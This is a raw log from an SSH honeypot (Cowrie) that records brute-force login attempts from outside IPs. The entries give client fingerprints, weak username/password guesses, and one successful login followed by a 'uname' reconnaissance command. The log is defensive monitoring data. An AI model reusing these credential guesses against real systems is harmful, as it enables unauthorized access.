{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:58.503527Z","src_ip":"176.65.139.95","session":"08c42bce24e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:58.597780Z","src_ip":"176.65.139.95","session":"08c42bce24e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:58.863657Z","src_ip":"176.65.139.95","session":"08c42bce24e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:51:59.961966Z","src_ip":"176.65.139.95","session":"08c42bce24e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39160,"dst_ip":"159.203.135.109","dst_port":22,"session":"40c1f13a612f","protocol":"ssh","message":"New connection: 176.65.139.95:39160 (159.203.135.109:22) [session: 40c1f13a612f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:05.027026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:05.032357Z","src_ip":"176.65.139.95","session":"40c1f13a612f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:05.115263Z","src_ip":"176.65.139.95","session":"40c1f13a612f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:05.553058Z","src_ip":"176.65.139.95","session":"40c1f13a612f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:06.663539Z","src_ip":"176.65.139.95","session":"40c1f13a612f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46664,"dst_ip":"159.203.135.109","dst_port":22,"session":"d17ea21fa5d2","protocol":"ssh","message":"New connection: 176.65.139.95:46664 (159.203.135.109:22) [session: d17ea21fa5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:11.511376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:11.517020Z","src_ip":"176.65.139.95","session":"d17ea21fa5d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:11.600325Z","src_ip":"176.65.139.95","session":"d17ea21fa5d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:12.046196Z","src_ip":"176.65.139.95","session":"d17ea21fa5d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:13.133905Z","src_ip":"176.65.139.95","session":"d17ea21fa5d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46668,"dst_ip":"159.203.135.109","dst_port":22,"session":"db83edea603d","protocol":"ssh","message":"New connection: 176.65.139.95:46668 (159.203.135.109:22) [session: db83edea603d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:18.329666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:18.340300Z","src_ip":"176.65.139.95","session":"db83edea603d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:18.424529Z","src_ip":"176.65.139.95","session":"db83edea603d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:18.708287Z","src_ip":"176.65.139.95","session":"db83edea603d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:19.793373Z","src_ip":"176.65.139.95","session":"db83edea603d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59686,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c0160a7fcda","protocol":"ssh","message":"New connection: 176.65.139.95:59686 (159.203.135.109:22) [session: 1c0160a7fcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:24.842911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:24.848013Z","src_ip":"176.65.139.95","session":"1c0160a7fcda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:24.956566Z","src_ip":"176.65.139.95","session":"1c0160a7fcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44936,"dst_ip":"159.203.135.109","dst_port":22,"session":"d528aba9cb20","protocol":"ssh","message":"New connection: 159.203.92.129:44936 (159.203.135.109:22) [session: d528aba9cb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:25.240110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:25.244820Z","src_ip":"159.203.92.129","session":"d528aba9cb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:25.257317Z","src_ip":"159.203.92.129","session":"d528aba9cb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LLL","password":"Lyx53231","message":"login attempt [LLL/Lyx53231] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:25.276084Z","src_ip":"159.203.92.129","session":"d528aba9cb20","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:25.404618Z","src_ip":"176.65.139.95","session":"1c0160a7fcda","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:25.627996Z","src_ip":"176.65.139.95","session":"1c0160a7fcda","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:25.631238Z","src_ip":"176.65.139.95","session":"1c0160a7fcda","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:25.717765Z","src_ip":"176.65.139.95","session":"1c0160a7fcda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:25.723449Z","src_ip":"176.65.139.95","session":"1c0160a7fcda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:26.367387Z","src_ip":"159.203.92.129","session":"d528aba9cb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49108,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2bf5c5b8aa5","protocol":"ssh","message":"New connection: 176.65.139.95:49108 (159.203.135.109:22) [session: b2bf5c5b8aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:31.712478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:31.734523Z","src_ip":"176.65.139.95","session":"b2bf5c5b8aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:31.854581Z","src_ip":"176.65.139.95","session":"b2bf5c5b8aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:32.235924Z","src_ip":"176.65.139.95","session":"b2bf5c5b8aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:33.331981Z","src_ip":"176.65.139.95","session":"b2bf5c5b8aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49118,"dst_ip":"159.203.135.109","dst_port":22,"session":"28a784d9d9d7","protocol":"ssh","message":"New connection: 176.65.139.95:49118 (159.203.135.109:22) [session: 28a784d9d9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:38.309333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:38.317188Z","src_ip":"176.65.139.95","session":"28a784d9d9d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:38.399307Z","src_ip":"176.65.139.95","session":"28a784d9d9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:38.830497Z","src_ip":"176.65.139.95","session":"28a784d9d9d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:39.973099Z","src_ip":"176.65.139.95","session":"28a784d9d9d7","protocol":"ssh"}
